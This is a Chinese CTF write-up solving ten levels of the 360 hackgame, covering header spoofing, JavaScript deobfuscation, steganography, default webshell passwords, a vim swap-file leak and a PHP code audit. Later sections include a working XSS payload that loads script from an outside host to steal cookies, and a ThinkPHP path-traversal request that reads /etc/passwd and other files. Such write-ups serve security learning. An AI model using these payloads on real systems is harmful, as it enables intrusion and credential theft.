第一次在wooyun投稿,新人求帶。360網絡攻防hackgame開荒記,自己做的一些題,中間有一些是領先的,也算開荒吧,就叫開荒記吧,自己的腦洞也比較大,有的題各種想法就是容易想歪了,思路一跑偏就肯定做不出來了,所以做這種比賽還是要依靠一些題目描述的細節、hint等等,發掘一些不對勁的地方。如果是寫writeup,可能自己就只有一種正確的解法,但是中間嘗試的過程才是重要的,也記錄一下自己是怎么跑偏,怎么進行各種嘗試的吧,這樣比較有意思。 我的博客http://appleu0.sinaapp.com 打個小廣告,有些writeup在博客,有興趣的關注一下。
http://attack.onebox.so.com/c6c299rf-main.html
第二關需要從hack.#進入,直接點擊按鈕可行不通哦!~~
直接點擊是沒法進入的,抓包查看一下也并沒有發現什么。提示說從 hack.#進入,那么我們自然會想到一個東西。在http header中有一種屬性 Referer,是用來告訴服務器我是從哪個頁面鏈接過來的,是比較符合題目說的需要從hack.#進入這個說法的。需要改包的話,我愛使用burp suite,提示直接點擊按鈕不行,那么我就去點擊進入下一關,然后burp抓包之后 在http header中加上了一個
Referer: http://hack.#
然后發包就進入了第二關,順便說下另外兩個和ip啊域名啊相關的http header 是Host還有X-Forwarded-For,如果Referer測不對,就會去測測這兩個東西。
http://attack.onebox.so.com/jaa60cjse-main.html
需要我們自己找到密碼,那么我們先查看一下源代碼,然后再抓包看看有沒有什么密碼或者是什么異常。
在源碼中發現了這一行,抓包也可以看見encode.js這個javascript代碼,發現有一些加密、代碼混淆什么的,保存到本地來調試一下。代碼首末加上在源碼中發現了這一行,抓包也可以看見encode.js這個javascript代碼,發現有一些加密、代碼混淆什么的,保存到本地來調試一下。代碼首末加上<script> </script>
,保存成html。
#!html
<script>var password = eval(function(p,a,c,k,e,d){e=function(c){return(c<a>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c][/c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c][/c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c][/c]);return p;}('9 5$=["\8\3\4\3\2\2\1\3\2\3\3\2\2\7\3\1\4\1\3\2\1\3\1\3\2\2\2\1\3\4\1\3\2\1\4\1\3\2\1\4\1\3\2\2\1\3\4\1\3\2\1\4\1\3\2\1\4\1\3\2\1\4\1\3\2\1\4\1\3\2\1\4\1\3\2\2\1\3\1\3\2\2"];6 c(){e<a href="5$[0]">"\f\g\d\a\b"</a>}',17,17,'|x2b|x5d|x5b|x21|_|function|x29|x28|var|x72|x74|O0|x65|window|x61|x6c'.split('|'),0,{}));</script> </a>?"":e(parseint(c>
點開發現并沒有顯示出什么,那么我們要先知道一個姿勢,在做這種js代碼隱寫啊什么的時候,會比較快速。就是在javascript代碼執行中,有一些并不會顯示出來的代碼,比如他eval了一下,那么你可以使用document.write或者是alert去顯示出這些代碼,觀察邏輯。代碼不管怎么混淆,怎么加密,總是會去eval的,這個時候一般會是明文的,那么只要我們在這個時候document.write一下,就可以觀察到語句,快速解題。
在這一題中我們把var password = eval修改成document.write。執行一下。發現顯示出了eval的代碼
#!js
var _$=["\x28\x5b\x21\x5b\x5d\x5d\x2b\x5b\x5d\x5b\x5b\x5d\x5d\x29\x5b\x2b\x21\x2b\x5b\x5d\x2b\x5b\x2b\x5b\x5d\x5d\x5d\x2b\x5b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x5d\x2b\x5b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x5d\x2b\x5b\x2b\x5b\x5d\x5d"];function O0(){window["\x61\x6c\x65\x72\x74"][8]}
觀察到了_$
變量,代表了"[object Object]
",我們再使用相同的方法顯示出這個_$
變量的值。把document.write修改回原來的eval,讓這個語句得以執行,然后再后面加上document.write(_$);
然后運行一下得到了一個jother編碼的東西。
([![]]+[][[]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]
這個是一種另類的javascript編碼,只用了8個字符()[]{}+!就能表示其他所有的javascript代碼,是種不錯的代碼混淆的方法。要解這個有兩種方法,加上使用之前一樣的技巧來顯示javascript代碼,顯示出來的是i360。
還有一種方法是使用了谷歌瀏覽器的控制臺。F12呼出選擇Console
輸入i360進入第三關。
http://attack.onebox.so.com/je4cd0jsk-main.html
要求解碼這下面的代碼
0x253444253534253435253335253439253434253435253737253444253533253431253738253444253434253637253637253446253534253642253637253444253534253435253738253439253434253435253737253446253533253431253738253444253434253435253637253444253534253435253332253439253434253435253738253444253533253431253331253444253533253431253331253445253433253431253330253446253433253431253344
提示說Ox還有解碼,那么就可能會是一些進制啊編碼等等的轉換。
25 34 44 25 35 34 25 34 35 25 33 35 25 34 39 25 34 34 25 34 35 25 37 37 25 34 44 25 35 33 25 34 31 25 37 38 25 34 44 25 34 34 25 36 37 25 36 37 25 34 46 25 35 34 25 36 42 25 36 37 25 34 44 25 35 34 25 34 35 25 37 38 25 34 39 25 34 34 25 34 35 25 37 37 25 34 46 25 35 33 25 34 31 25 37 38 25 34 44 25 34 34 25 34 35 25 36 37 25 34 44 25 35 34 25 34 35 25 33 32 25 34 39 25 34 34 25 34 35 25 37 38 25 34 44 25 35 33 25 34 31 25 33 31 25 34 44 25 35 33 25 34 31 25 33 31 25 34 45 25 34 33 25 34 31 25 33 30 25 34 46 25 34 33 25 34 31 25 33 44
然后打開神器JPK,這里是這個神器的下載的鏈接 http://www.wechall.net/tools/JPK
wechall也是個可以練習ctf的平臺,歡迎各種大牛一起來練習,一起攪基。
神器打開,Number——Convert——Number To Ascii
%4D%54%45%35%49%44%45%77%4D%53%41%78%4D%44%67%67%4F%54%6B%67%4D%54%45%78%49%44%45%77%4F%53%41%78%4D%44%45%67%4D%54%45%32%49%44%45%78%4D%53%41%31%4D%53%41%31%4E%43%41%30%4F%43%41%3D
看到了% 字符范圍又是0到F,那么就猜測是urlencode
神器接著來一發Ascii——Decode——Unescape
MTE5IDEwMSAxMDggOTkgMTExIDEwOSAxMDEgMTE2IDExMSA1MSA1NCA0OCA=
得到一個字符串,字符范圍是a-zA-Z=特別是觀察到末尾的=自然會想到base64,因為base64的尾部填充用的是=號,只是用來補足位數的,以四個字符為一個塊,最末尾不足四個字符的用=號填滿。
神器再來,Ascii——Decode——Base64
119 101 108 99 111 109 101 116 111 51 54 48
這個是10進制的,字符范圍為0-9,判斷是10進制的ascii碼。
這里先將進制修改成10進制的 InRadix OutRadix都改成10
然后再Number——Convert——Number To Ascii
welcometo360
這個就是過關的密碼了。
http://attack.onebox.so.com/d971abpic-main.html
一個圖片的隱寫題,先下載下來,發現是一個JPG,jpg的圖片隱寫的方法就幾種吧,還是比較簡單的。一開始的腦洞比較大,還在想會不會是右上角的標志,還去找了高清大圖。
WWWCN肯定是這樣子的,我太機智了。
好吧,如果是這樣子就變成猜謎游戲了。認真看看題目,掏出神器Stegsolve
下載的鏈接是www.caesum.com/handbook/Stegsolve.jar
然后Analyse——File Format
jpg的話會有壓縮,所以基于像數的隱寫可能不太靠譜。看一下文件的內部格式什么的,果然發現有異常。
在本來圖片應該結束的地方,卻出現了大量的數據。查看一下ascii,確定是什么東西。
可以發現JFIF這個敏感的幻數。這個函數是jpg文件的幻數。所以判斷在原圖后面還有一張jpg圖片。
這個時候我們可以使用Winhex來把這個后面的圖扣下來。Offset:00003B30到文件的末尾,然后復制選塊,置入新文件。
打開就可以看到BLACK HAT WORLD,這些大寫的就是key了(不加空格)。
其實這個題就是和那種jpg+rar的內涵圖一個原理的,使用了一個copy命令
copy /B 1.jpg+2.jpg new.jpg
就是這個圖的生成的方法。
只是因為圖片先解析到第一張圖,你也沒法改后綴,像rar那樣子來解決,所以還是有創新的一道題。
附帶上一些圖片格式的幻數,方便查閱。
PNG = ‰PNG (89504E47)
GIF = GIF89a (47494638)
JPG = ???à JFIF (FFD8FF)
BMP = BMF? (424D)
http://attack.onebox.so.com/cca5e5bas-main.html
從這個題開始,感覺到了360要靠猜的地方了,知道了方法都要嘗試很多很多次,比較坑爹,這個題我就模糊的記得jsp spy的密碼是ninty,也不是太確定。這個時候度娘就是神器了。各種搜索,各種搜索。其實有個方法才是比較便捷的,就是去下到這些webshell的官方的版本,上面的密碼肯定就是對的了。
http://www.webshell.cc/4422.html
這個網站就能下到傳說中的Webshell三劍客,然后分別去看看密碼。
php spy: angel
aspx spy: admin
jsp spy: ninty
這個題也是卡了一會,網上百度到的有的是錯的,結果有三個輸入,也不太能確定到底是哪個錯了,只有慢慢試咯,由此拉開了360有獎競猜大賽的序幕。
http://attack.onebox.so.com/c47e92bak-main.html
我覺得這個題出得不好,是個坑。
一開始提到備份文件,我想到的方向就是www.rar類似于這種的整站打包的備份文件,然后既然是要找到這種備份文件,那么我們就需要去掃他出來,常見的一些壓縮文件后綴有:rar、zip、7z、tar.gz這幾種,然后我就去配合一個掃目錄掃文件的工具Pker去掃備份去了。
到后來各種后綴都試過了之后發現,沒辦法,掃不出來東西。
掃到了個.htaccess文件發現了里面的規則
<ifmodule mod_rewrite.c="">
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [C]
RewriteRule bak-main\.html\.swp$ bak-swp.html [QSA,PT,L]
</ifmodule>
然后就去研究這個東西,還看到了bak啊,swp什么的,感覺有點希望。研究了一下沒弄出來,然后就在想會不會是思路出錯了,方向跑偏了,據說這些題都不用爆破也可以做出來的。那么就要換個思路了,不用爆破。備份文件,這里的備份文件可能不是那些rar打包文件,而是一些編輯器生成的臨時備份文件,比如Editplus生成的bak文件,vim生成的~還有swp。然后我們要先去確定文件名哇,不然光有個后綴也弄出不來的。然后就在想可能不會是要去找別的文件,而是c47e92bak-main.html這個自身的頁面,那么我就用了去測試一下c47e92bak-main.html.bak c47e92bak-main.html~ .c47e92bak-main.html.swp都沒有,沒想到隨便測試了一個c47e92bak-main.html.swp居然出來東西了,這個就是我要說這個題出得不好的原因:下面是swp相關的資料 vim中的swp即swap文件,在編輯文件時產生,它是隱藏文件,如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,則此文件自動刪除。 以下兩種情況不會刪除swp文件:
1 Vim非正常退出,這種情況下,除非手動刪除swp文件(也可以在vim提示時刪除),否則它會一直存在。
2 多個程序同時編輯一個文件。
這個文件應該是隱藏文件,既然說的是忘記刪除的,那么應該是.c47e92bak-main.html.swp應該是這樣子才對,不可能還把它的.去掉,所以這個題出得不好。 之前剛好做過一個題是關于swp文件的,順便說一下,2014ouc的c1題就是和swp相關的一道題,那個題是給了一個hacker文件,我們file一下發現發現了c1 hacker: Vim swap file, version 7.3 提示是一個vim產生的swp文件。然后把hacker改成.hacker.swp 再新建個hacker,vim -r hacker就可以恢復文件了,恢復出了一些base64的編碼/9j/4AAQSkZJRgABAQEAYABgAAD,這樣子的,看這個格式是一張base64編碼過的圖片,郵件中傳輸圖像常常使用這種方式。
<img src=”data:image/jpg;base64, /9j/4AAQSkZJRgABAQEAYABgAAD/….” />
這樣子保存成html就可以解開了。
扯遠了,剛好因為比賽之前做了這個題,所以對swp才有一些了解。我們接著說那個.swp文件,把下載回來。發現了_getNextKey():
#!php
protected function _getNextKey() { $str = base64_encode("89spo36rnrsrq449pq7045o283nn0rp3d26a0666809dd018b885955e34032b20"); return md5($str); }
base64編碼后:ODlzcG8zNnJucnNycTQ0OXBxNzA0NW8yODNubjBycDNkMjZhMDY2NjgwOWRkMDE4Yjg4NTk1NWUzNDAzMmIyMA==
md5計算后:584AFD9177ED1005B0D255ECFD8BE9A8
我寫writeup的時候 好像這個字符串變化了,是隨機化的,一個id一個key。方法都是一樣的,計算一下就可以了(md5大寫)。感覺題目越來越需要猜了。
http://attack.onebox.so.com/s56410sense-main.html
看到這個題,槽點滿滿的。和西電xdctf的那個題有點像,舞動旋律那題。是給出了一些信息,需要我們去組合,猜測密碼。手工猜了幾個猜不動。那種組字典的工具去組個字典爆破試試看吧,N.C.P.H社會工程學字典生成器,比較愛用這個工具。
生成了字典之后,輸入那個驗證碼,并不會刷新的,所以可以用來爆破,后來上了WAF我就不知道還能不能爆破了。總之最后的結果是爆破失敗了,什么都沒做出來。
那個驗證碼看著也很別扭,生怕他是錯的,給個這樣子的提示,真難啊。
后來之后自己慢慢,手動試了,驗證碼在firefox里不會刷新,也不用太擔心效率的問題。試了好久好久,直到試到了Lilei20140305這個 才出現了奇跡。原來還要大小寫,這題真是淫蕩。越來越有360有獎競猜大賽的味道。。。欲哭無淚
91199faddb0f5abe576ea087ea708172這個加密串要去解密
在陸羽的博客中看到了這一篇,其實3月掛出來的,之前我也有看到過,還去破解過呢,運氣真好,google一下就能解出來了。
91199faddb0f5abe576ea087ea708172:360-hackgame-8-hello-world.php
要是之前有記得這個360-hackgame-8-hello-world.php 的話,特別是提示的8hello,直接在第7關就輸入就過了,不用困在猜密碼那么久了。當然了,這個也是意淫,出了這個md5一搜才想起來自己之前去破過的。
http://attack.onebox.so.com/eda63b0faudit-main.html
這個題又是那種很惡心的題目,要勾選有漏洞的代碼,有很多種組合。要試很多很多很多很多遍才能試出來的。而且還沒法爆破,每次出現的函數的順序會變化。
7個函數,慢慢分析吧
#!php
public function SetTemplate($lang)
{
$lang = isset($lang) ? $lang : 'cn';
include('template/' . $lang . '.php.html');
}
這個SetTemplate是用來包含語言文件進來的,因為對于傳入的$lang沒有進行過濾,直接include了進來,可以使用../進行跨目錄的一些操作,包含到/etc/passwd等敏感的文件,在GPC關閉時可以使用%00進行截斷,造成LFI漏洞。如果GPC開啟時,就會對%00進行轉義。有漏洞的語句是 include那句。
#!php
public function fetch($templateFile='')
{
return file_get_contents($templateFile);
}
public function build($htmlfile='', $htmlpath='', $templateFile='')
{
$content = $this->fetch($templateFile);
$htmlpath = !empty($htmlpath)?$htmlpath:HTML_PATH;
$htmlfile = $htmlpath.$htmlfile.'HTML_FILE_SUFFIX';
if(!is_dir(dirname($htmlfile)))
mkdir(dirname($htmlfile),0755,true);
if(false === file_put_contents($htmlfile,$content))
throw new Exception('_CACHE_WRITE_ERROR_'.$htmlfile);
return $content;
}
這兩個函數一起看吧,fetch這個函數,可以return文件的內容,對于傳入的參數$templateFile也沒過濾,一開始,我也是并不太確定了。不確定的話就要多試幾遍,這個題的限制也比較少,沒說清楚輸入啊什么的,放眼看去感覺一大堆漏洞。測試后發現這個是不算漏洞的,因為只在build函數中調用了,而build函數去百度一下就會發現是thinkphp的生成靜態頁面的方法,去wooyun上搜搜,也沒有發現與此相關的什么漏洞。那么這兩個函數就是安全的。
#!php
public function __set($key)
{
if(isset($this->_var[$key])) {
return $this->_var[$key];
}
}
public function __set($key, $name)
{
if (isset($this->_var[$key])) {
return $this->_var[$key];
}
return false;
}
這兩個函數比較相似,就放一起講,__set()
方法是php中的魔術方法,用來給私有對象賦值的。并沒有什么相關的漏洞,這兩個函數比較正常,只能搜到用法啊一些,并找不到和漏洞相關的。
#!php
public function Filter($value,$safecode)
{
$value = preg_replace("/(javascript:)?on(click|load|key|mouse|error|abort|move|unload|change|dblclick|move|reset|resize|submit)/i", "&111n\\2", $value);
$value = preg_replace("/(.*?)<\/script>/si", $safecode, $value);
$value = preg_replace("/(.*?)<\/iframe>/si", $safecode, $value);
$value = preg_replace("/(.*?)/e", $safecode, $value);
$value = preg_replace("http://iesU", $safecode, $value);
return $value;
}
這個是一個過濾器,用來過濾一些xss代碼,保證安全性的。
然后發現了preg_replace /e 這兩句,如果傳入的值可控的,就會造成代碼執行漏洞。
下面兩句/e就是漏洞語句。
#!php
public function Upload($filename)
{
$default_path = 'upload/';
if (!file_exists($default_path))
mkdir($default_path, 0777, true);
$destination = $default_path . basename($filename);
echo 'Saving your image to: ' . $destination;
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $GLOBALS['HTTP_RAW_POST_DATA']);
fclose($jfh);
}
最后一個是Upload這個函數, 先是創建了一個目錄權限是777,然后是文件名沒有做過濾,就拿去做了字符串連接,所以上傳的$filename可以命名成weshell.php的,然后顯示出相對路徑,$jfh = fopen($destination, ‘w’)
創建一個文件,可寫入東西,fwrite($jfh, $HTTP_RAW_POST_DATA);
這句徹底淪陷,$HTTP_RAW_POST_DATA
可以使用post往文件里寫shell,直接getshell,所以是那三句出現了漏洞。$destin… $jfh… fwrite(…
這三句。分析完畢后,就是試啊試,看是哪些語句,慢慢測。 我做的時候只有6句是漏洞語句,后來我寫writeup的時候改過了。 加上了一句 return file_get_contents($templateFile);
也是我猶豫不決的一句,他能返回文件源碼,可以造成文件源碼泄露。可是他沒有echo,而是用了return。 那就再加一句,一共7句漏洞代碼。
http://attack.onebox.so.com/x2a9ef99cd0xs-main.html
xss的一道題,需要拿到cookie,要使用到xss平臺。先去配置一個xss平臺來獲取cookie先,我是用的冷總的xss平臺。
http://lennyxss.sinaapp.com/
http://lennyxss.sinaapp.com/3C9ee4?1398504020
配置一個獲取cookie的js代碼。然后去測試那個留言板的過濾。
手動測測,發現是最先檢測的是你的代碼中有沒有html5標簽,然后檢測你的代碼有沒有非法字符,被他過濾的字符,然后是檢測你的代碼能不能注入。
其實所謂的html5,也只有他提示的svg標簽,使用其他的html5標簽沒法繞過。比如video audio,比較郁悶,其實這里就應該想到后臺對留言板的處理什么的,當時并沒有想到,結果卡了一夜。然后就是測試了想要去構造個標簽,還看到網上的一些使用了什么的,就去想要繞過,這里又坑了。后來fuzz的時候才發現的。
使用了burp fuzz測試非法字符,提交類似于 svg "這樣子的內容,burp測試
發現了3個非法的," > \
這三個字符,還會過濾其他的。測試到這里的時候才發現自己之前的想法不對,不是要去想辦法繞過,然后閉合上<svg>
,而是 >
直接就是在黑名單中的,應該要想辦法利用后臺的代碼去閉合。思路明確之后,就是在屬性、事件中去編碼繞過或者是不使用一些被過濾的字符比如"。然后就是構造測試、構造測試..
最后是這樣子的xss payload onload頁面載入是執行js腳本
#!html
<svg onload=document.body.appendChild(createElement(/script/.source)).src=String.fromCharCode(47,47,108,101,110,110,121,120,115,115,46,115,105,110,97,97,112,112,46,99,111,109,47,51,67,57,101,101,52,63,49,51,57,56,50,52,56,52,48,48);//
使用了fromCharCode編碼 //lennyxss.sinaapp.com/3C9ee4?1398248400
就是之前我們生成的xss地址。
提交成功之后,發現cookie來了。好開心,去xss平臺查看一下。
cookie的最后的一個是 xss-key=cc4b0a94f5a2e5a244a1cc44a7fb4cb3
提交進入最后一關。
http://attack.onebox.so.com/jdad3f8fasd0d-main.html
這個題我輸了T T,第一步一直沒做出來,死貓做出來的時候,我還沒有思路。
這個題我的思路是各種飄,各種跑偏,蛋疼。這個題一來就和別的題不一樣,沒有提交框,我們需要先想辦法找到那個提交框,還有題目的描述什么的。抓包看看。
burp可以看到
Set-Cookie: display=5842b0a0df2d52533c241c6ec26089a8; expires=Sun, 27-Apr-2014 10:37:15 GMT; secure
這個就是讓我各種跑偏的一個東西。訪問頁面,response中給出來一個Set-Cookie。
display=5842b0a0df2d52533c241c6ec26089a8 這個還帶了一個secure的標志。
secure標志是指定cookie要在https的傳輸協議中才會給帶上的,現在的訪問的是正常的http的協議,所以cookie不會被設置上,那么肯定是順手就在發包中加上了這個cookie,試試看。也沒有什么反應。然后就去研究這個md5,發現解開是dispaly這樣子的,客服說是手誤了,不要在意。也沒有什么能挖掘的。就去找secure相關的,也就是這個服務中的https。然后發現443端口是沒有開放的,沒有什么收獲。那么就nmap掃一下端口看看吧。open的只有80,就去測試會不會有端口復用的情況,在80端口中還使用了https這個服務。
https://attack.onebox.so.com/jdad3f8fasd0d-main.html https://attack.onebox.so.com:80/jdad3f8fasd0d-main.html
沒有什么特殊的,很蛋疼。還是找不到入手的地方,想到https 443端口沒開放的話,就去測試一下8443端口,發現了有一些異常,8443端口在nmap中是filtered,測試了一會,也沒辦法利用。還在想會不會是最近很火的openssl,使用payload打了80端口試了試,并沒有什么反應。
這個時候,客服說我和死貓都在第十關沒有進展,那么可以確定不應該從端口這個方向入手,果斷要換個思路。
后來甚至還找出來做偽靜態之前的源文件出來,發現了500的響應,很桑心。
http://attack.onebox.so.com/Lib/Action/Jdad3f8fasd0dAction.class.php
都一直在迷茫地測試著各種。
甚至還把那個display post提交到了頁面上,也沒有反應,后來發現,其實這里已經很接近了,但是還是不對。
直到后來,死貓做出來了,我還沒有什么進展。最后是在想display用怎么用的時候,是一個name=value的形式,然后想到了那個actf上的 way = “H4ck_F0r_Fun!GoGoGo!
,是不是也要來試試看。然后就用get方式提交 ?display= 5842b0a0df2d52533c241c6ec26089a8
作為參數。這個時候有了不一樣的回顯。
http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display= 5842b0a0df2d52533c241c6ec26089a8
菊花一緊,沒有這樣子玩的,居然把cookie拿去get提交。桑心了。
然后就是提示要去讀取文件,這個比較簡單。在wooyun上找找thinkphp的漏洞,然后發現了幾個,有一個是代碼執行的,測了一個沒測出來。再換個姿勢,既然他要我們來讀文件,那么就去找讀取源碼、讀取文件的漏洞。
google hacking一發:site:wooyun.org thinkphp 讀取源碼
百度出來的第一條就是了,我真是有特殊的搜索技巧啊。
WooYun: ThinkPHP的Ubb標簽漏洞讀取任意內容
然后就是測試這個漏洞。
漏洞的描述是這樣子的:
當path=[code language=""][/code]/etc/passwd[/code ]
成功讀取對應內容。
那么我們也來仿照他的。
path=[code][/code]/home/s/pwd/1bbba54560cd4735b4c479ac5c30349e.txt[/code ]
這樣子來顯示出key的內容。
http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display=5842b0a0df2d52533c241c6ec26089a8&path=[code][/code]/home/s/pwd/1bbba54560cd4735b4c479ac5c30349e.txt[/code ]
獲取了一個check:d914e3ecf6cc481114a3f534a5faf90b$28159b405e970344e0b55a6b247f89f3|e1766018236b861fd7090936a682b8ea
這樣子的字符串,整個拿去提交就可以了。
其實做這個比賽還是挺有收獲的,我也發現了自己的弱點,以及該如何去努力。比賽的時候,好多人看到,然后給我加油,給我鼓氣,真是謝謝你們。我有的時候,對著一道題目死磕,自己都快要放棄了,你們還鼓勵讓我堅持下去。謝謝你們。
然后我發現做ctf的時候,很多時候都是輸給了自己,而不是輸給別人。自己做一個題,做不下去了,各種測試無果,往往會自己給自己找個借口,找個臺階。這個獎品不是我要的,這個題太難了,這個類型的題我沒接觸過,各種各樣的借口。其實都是扯淡,就是自己放棄了,輸給了自己了。
還是死貓也是讓我學習到了好多,學習能力真的很重要,如何在短時間內吸收最多的知識,運用起來,這種能力很重要。遇到不懂的,馬上就去查閱相關資料,自己給自己漲姿勢。貓總,你太屌了。學習到了~
還有一個就是key的隨機化,做到每個id一個key,或者是每一次不同的提交都有不同的key,比如第六題和第十題,就做到。也是很好的一點,阻止了直接共享key的發生,也會是將來ctf的一個趨勢吧。